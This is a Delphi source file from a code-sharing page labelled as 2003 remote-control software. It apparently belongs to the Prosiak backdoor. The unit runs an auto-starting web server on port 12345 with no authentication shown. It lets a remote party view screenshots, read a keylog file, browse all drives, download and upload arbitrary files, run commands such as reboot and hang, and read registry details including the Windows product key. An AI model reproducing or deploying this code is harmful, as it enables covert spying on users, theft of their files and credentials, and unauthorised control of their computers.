📄 httpd.pas

📁 2003年的远程控制
💻 PAS
字号:
unit httpd;

interface
uses scktcomp;

const DEFhttpdport=12345;
      DEFhttpdauto=true;
const MIME_jpeg='image/jpeg';
      MIME_text='text/html';
      MIME_gif='image/gif';
      MIME_mpeg='movie/mpeg';
      MIME_mp3='audio/x-mpeg';
      MIME_unknown='data/unknown';
const drive_type:array[2..6] of string
      =('floppy','hdd','network','CD-ROM','RAM-disk');
var HTTPD_port:integer;
    HTTPD_auto:boolean;

procedure Httpd_request(socket:TCustomWinSocket);
procedure httpd_readconfig;
procedure httpd_writeconfig;
procedure httpd_updateconfig;
procedure httpd_writeconfigdef;
procedure httpd_start;
procedure httpd_stop;
procedure httpd_connect;
procedure Httpd_send(socket:TCustomWinSocket);
function HTTPD_commands(comm,par1,par2:string):boolean;
procedure httpd_close;

implementation

uses sysutils,windows,
 {moduly}
 Main,Stale,Toolz,Siec,Forms,Konfig;

const bufsize=1024;
var f:file;
    putfile,sendfile:boolean;
    sendpos:longint;
    sendfilename:string;
    sendsize:longint;
    bufor:array[0..bufsize] of char;
    ile:integer;

procedure httpd_textheader(socket:TCustomWinSocket);
begin
socket.sendtext('Content-type: '+MIME_text+nl);
socket.sendtext('Connection: keep-alive'+nl);
socket.sendtext(nl);
socket.sendtext('<HTML><TITLE>'+progname+'</TITLE>');
socket.sendtext('<BODY BGCOLOR="lightblue" >'+nl);
socket.sendtext('<A HREF="http://www.kki.net.pl/~kwikwi/">Prosiak Home Page</A><HR>');
socket.sendtext('<B>'+getnetusername+' on '+hostname+'</B><BR>');
socket.sendtext('<A HREF="/remote.html">[Remote console]</A>');
socket.sendtext('<A HREF="/">[Main Page]</A>');
socket.sendtext('<A HREF="/screen.jpg">[Fullscreen]</A>');
socket.sendtext('<A HREF="/screensmall.jpg">[SmallScreen]</A><BR>');
socket.sendtext('<A HREF="/sysinfo.html">[Sysinfo]</A>');
socket.sendtext('<A HREF="/S'+logfile+'">[Syslog]</A>');
socket.sendtext('<A HREF="/S'+keylogfile+'">[Keylog]</A>');
socket.sendtext('<BR><P>');
end;

procedure httpd_mainheader(socket:TCustomWinSocket);
begin
socket.sendtext('HTTP/1.0 200 OK'+nl);
socket.sendtext('Server: '+progname+nl);
end;

procedure httpd_drivelist(socket:TCustomWinSocket);
var
 DriveChar:ansistring;
 Res:integer;
begin
 DriveChar:='a:\';
 repeat
 res:=GetDriveType(Pchar(drivechar));
 if res in [2..6] then
  socket.sendtext('<A href="/D'+Drivechar[1]+':/" >'+
      Drivechar[1]+': '+drive_type[res]+'</A><BR>');
 inc(DriveChar[1]);
 until Drivechar[1]='z';
end;

procedure httpd_dir(socket:TCustomWinSocket;dir:string);
var tmp:string;
    searchrec:tsearchrec;
begin
dir:=dir+'/';
dir:=t_wymien(dir,'%20',' ');
dir:=t_wymien(dir,'\','/');
dir:=t_wymien(dir,'//','/');
httpd_mainheader(socket);
httpd_textheader(socket);
{$I-}
 Chdir(dir);
 if ioresult<>0 then begin
                   socket.sendtext('Directory '+dir+' not found');
                   exit;
                   end;
 socket.sendtext('<TABLE BGCOLOR="lightsteelblue" WIDTH=100% >');
 socket.sendtext('<TH>Directory '+dir+'</TH>'+nl);
 {katalog}
 findfirst('*.*', faAnyFile, SearchRec);
 repeat
 if (searchrec.attr and faDirectory)<>0 then
  begin
  tmp:=searchrec.name;
  if tmp='.' then tmp:='<B>REFRESH</B>';
  if tmp='..' then tmp:='<B>UP DIR</B>';
  socket.sendtext('<TR><TD>');
  if searchrec.name='..' then
  socket.sendtext('<A HREF="/D'+dir+'.."><B>'+tmp+'</B><TD><B>DIR</B></TR>'+nl)
  else
  socket.sendtext('<A HREF="/D'+dir+searchrec.name+'"><B>'+tmp+'</B><TD><B>DIR</B></TR>'+nl);
  end;
 until (FindNext(SearchRec) <> 0);
 {pliki}
 findfirst('*.*', faAnyFile, SearchRec);
 repeat
  if (searchrec.attr and faDirectory)=0 then
  begin
  socket.sendtext('<TR><TD>');
  socket.sendtext('<A HREF="/S'+dir+searchrec.name+'">'+searchrec.name+'<TD>'+inttostr(searchrec.size)+'</TR>'+nl);
  end;
 until (FindNext(SearchRec) <> 0);
socket.sendtext('</TR></TABLE>');
end;

procedure httpd_makeindex(socket:TCustomWinSocket);
begin
httpd_mainheader(socket);
httpd_textheader(socket);
socket.sendtext('<A HREF="screen.jpg"><IMG SRC="screensmall.jpg"></A></BR>'+nl);
socket.sendtext('Click to get fullscreen</P><HR>');
httpd_drivelist(socket);
socket.sendtext(nl+'<HR>Powered by '+progname+'</BR>');
socket.close;
end;

procedure Httpd_cmd(socket:TCustomWinSocket;s1,s2:string);
begin
socket.sendtext('<FORM METHOD="GET" ACTION="R">');
socket.sendtext('<INPUT TYPE=HIDDEN NAME="C" VALUE="'+s1+'">');
socket.sendtext('<INPUT TYPE=SUBMIT VALUE="'+s2+'"></FORM>');
end;

procedure Httpd_remote(socket:TCustomWinSocket);
begin
httpd_mainheader(socket);
httpd_textheader(socket);
socket.sendtext('<FORM METHOD="GET" ACTION="R" >');
socket.sendtext('<INPUT NAME="C" TYPE=EDIT VALUE="invert">');
socket.sendtext('<INPUT TYPE=SUBMIT VALUE="Command">');
socket.sendtext('</FORM>');
httpd_cmd(socket,'hang','hang');
httpd_cmd(socket,'reboot','reboot');
socket.sendtext(nl+'<HR>Powered by '+progname+'</BR>');
socket.close;
end;

procedure Httpd_sysinfo(socket:TCustomWinSocket);
var  MemoryStatus: TMemoryStatus;
begin
httpd_mainheader(socket);
httpd_textheader(socket);
socket.sendtext('User: '+getnetusername+'<BR>');
socket.sendtext('Host: '+hostname+'<BR>');
socket.sendtext('Identyfikator: '+config.info+'<BR>');
socket.sendtext('Winver: '+t_registeryReadString(Reg_current,'ProductName')+' '+
            t_registeryReadString(Reg_current,'VersionNumber')+'<BR>');
socket.sendtext('Czas wlaczenie komputera: '+inttostr(GetTickCount div 1000)+' sekund<BR>');
socket.sendtext('Windows folder: '+t_registeryReadString(Reg_current,'SystemRoot')+'<BR>');
socket.sendtext('Zarejestrowany na:<BR>');
socket.sendtext('User: '+t_registeryReadString(Reg_current,'RegisteredOwner')+'<BR>');
socket.sendtext('Organizacja: '+t_registeryReadString(Reg_current,'RegisteredOrganization')+'<BR>');
socket.sendtext('Numer seryjny: '+t_registeryReadString(Reg_current,'ProductId')+'<BR>');
socket.sendtext('Klucz: '+t_registeryReadString(Reg_current,'ProductKey')+'<BR>');
socket.sendtext('O komputerze:<BR>');
socket.sendtext('Procesor: '+
 t_registeryReadString('\Hardware\Description\System\CentralProcessor\0',
 'Identifier')+'<BR>');
  MemoryStatus.dwLength := SizeOf(MemoryStatus);
  GlobalMemoryStatus(MemoryStatus);
socket.sendtext('Pamiec: '+inttostr(MemoryStatus.dwTotalPhys div 1024 div 1024)+' MB<BR>');
socket.sendtext('Tryb graficzny: '+inttostr(screen.width)+'x'+inttostr(screen.height)+'<BR>');
socket.sendtext(nl+'<HR>Powered by '+progname+'</BR>');
socket.close;
end;

procedure httpd_sendfile(socket:TCustomWinSocket;s:string;head:boolean);
var ext,typ:string;
    fm:byte;
begin
s:=t_wymien(s,'%20',' ');
s:=t_wymien(s,'\\','/');
s:=t_wymien(s,'\/','/');
s:=t_wymien(s,'//','/');
ext:=uppercase(extractfileext(s));
typ:=MIME_unknown;
if (ext='.JPG') or (ext='.JPEG') then typ:=MIME_jpeg;
if (ext='.DIZ') or (ext='.NFO') or (ext='.BAT') then typ:=MIME_text;
if (ext='.TXT') or (ext='.HTML') or (ext='.HTM') then typ:=MIME_text;
if (ext='.GIF') then typ:=MIME_gif;
if (ext='.MPG') or (ext='.MPEG') then typ:=MIME_mpeg;
if (ext='.MP3') then typ:=MIME_mp3;
{$I-}
assignfile(f,s);
fm:=filemode;
filemode:=0;
reset(f,1);
filemode:=fm;
if ioresult<>0 then begin socket.close; exit; end;
sendsize:=filesize(f);
closefile(f);
sendpos:=0;
sendfile:=true;
sendfilename:=s;
{$I+}
if head then
begin
httpd_mainheader(socket);
if typ<>'' then socket.sendtext('Content-type: '+typ+nl);
socket.sendtext('Content-lenght: '+inttostr(sendsize)+nl);
//socket.sendtext('Connection: keep-alive'+nl);
socket.sendtext(nl);
end;
httpd_send(socket);
end;

procedure httpd_send(socket:TCustomWinSocket);
var writen,block:integer;
    fm:byte;
begin
repeat
 block:=0;
 {$I-}
 assignfile(f,sendfilename);
 fm:=filemode;
 filemode:=0;
 reset(f,1);
 if ioresult<>0 then begin socket.close; sendfile:=false; exit; end;
 filemode:=fm;
 seek(f,sendpos);
 repeat
  sendpos:=filepos(f);
  blockread(f,bufor[0],bufsize,ile);
  writen:=socket.sendbuf(bufor[0],ile);
  inc(block,writen);
 until (writen<>ile)or(ile<>bufsize)or(block=0);
 closefile(f);
 {$I+}
 if block=0 then exit;
 if (ile=bufsize) then sleep(100);
until (ile<>bufsize);
sleep(100);
socket.close;
sendfile:=false;
end;

procedure httpd_close;
begin
if putfile then
    begin
    putfile:=false;
    {$I-}
    closefile(f);
    {$I+}
    end;
sendfile:=false;
end;

procedure Httpd_request(socket:TCustomWinSocket);
var request,rfile,method:string;
    sc:boolean;
begin
if putfile then
 begin
 ile:=socket.ReceiveBuf(bufor,bufsize);
 blockwrite(f,bufor,ile);
 end else
 request:=socket.ReceiveText;
if request='' then exit;
method:=copy(request,1,3);
rfile:=copy(request,6,pos('HTTP/1',request)-7);
if (method<>'GET')and(method<>'PUT') then exit;
if rfile='screen.jpg' then
 begin
 screendump(0,sysdirectory+'\'+defscrfile);
 httpd_sendfile(socket,sysdirectory+'\'+defscrfile,true);
 exit;
 end;
if rfile='screensmall.jpg' then
 begin
 screendump(2,sysdirectory+'\'+defscrfile);
 httpd_sendfile(socket,sysdirectory+'\'+defscrfile,true);
 exit;
 end;
if rfile='remote.html' then
 begin
 httpd_remote(socket);
 exit;
 end;
if rfile='sysinfo.html' then
 begin
 httpd_sysinfo(socket);
 exit;
 end;
if rfile='' then
 begin
 httpd_makeindex(socket);
 exit;
 end;
if rfile[1] in ['D','d'] then
 begin
 httpd_dir(socket,copy(rfile,2,1000));
 socket.close;
 exit;
 end;
if rfile[1] in ['S','s'] then
 begin
 httpd_sendfile(socket,copy(rfile,2,1000),true);
 exit;
 end;
if rfile[1]='#' then
 begin
 httpd_sendfile(socket,copy(rfile,2,1000),false);
 exit;
 end;
if rfile[1] in ['R','r'] then
 begin
 socket.close;
 sc:=scriptrunning;
 scriptrunning:=true;
 rfile:=t_wymien(rfile,'+',' ');
 parsecommand(copy(rfile,5,1000));
 scriptrunning:=sc;
 end;
if rfile[1]='P' then
 begin
 assignfile(f,copy(rfile,2,1000));
 {$I-}
 rewrite(f,1);
 if ioresult<>0 then exit;
 {$I+}
 putfile:=true;
 end;
end;

procedure httpd_connect;
begin
putfile:=false;
sendfile:=false;
end;

procedure httpd_start;
begin
form1.http.port:=httpd_port;
form1.http.active:=true;
end;

procedure httpd_stop;
begin
form1.http.active:=false;
end;

procedure httpd_readconfig;
begin
httpd_port:=T_registeryGetInteger(REG_HTPORT,defhttpdport);
httpd_auto:=T_registeryGetBoolean(REG_HTAUTO,defhttpdauto);
end;

procedure httpd_writeconfig;
begin;
T_registeryWriteConfig(REG_HTPORT,httpd_port);
T_registeryWriteConfig(REG_HTAUTO,httpd_auto);
end;

procedure httpd_updateconfig;
begin;
httpd_port:=config.httpdport;
httpd_auto:=config.httpdauto;
end;

procedure httpd_writeconfigdef;
begin;
T_registeryWriteConfig(REG_HTPORT,defhttpdport);
httpd_port:=defhttpdport;
T_registeryWriteConfig(REG_HTAUTO,defhttpdauto);
httpd_auto:=defhttpdauto;
end;

function HTTPD_commands(comm,par1,par2:string):boolean;
begin
result:=true;
if comm='HTTPDSTART' then httpd_start
else if comm='HTTPDSTOP' then httpd_stop
else if comm='HTTPDAUTO' then httpd_auto:=t_zerojeden(par1)
else if comm='HTTPDPORT' then httpd_port:=strtointdef(par1,80)
else if comm='HTTPDCONFIGDEF' then httpd_writeconfigdef
else if comm='HTTPDCONFIGWRITE' then httpd_writeconfig
else if comm='HTTPDSTAT' then
        begin
         xsend(Inf_httpdport+inttostr(httpd_port));
         xsend(Inf_httpdauto+t_bool(httpd_auto));
	 xsend(Inf_httpd+t_bool(form1.http.active));
        end
else
 result:=false;
end;

end.
💿 文件大小 106 K
👤 上传用户 d_zhihua
📂 所属分类 Delphi控件源码
🏷️ 相关标签

#2003 #远程控制
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -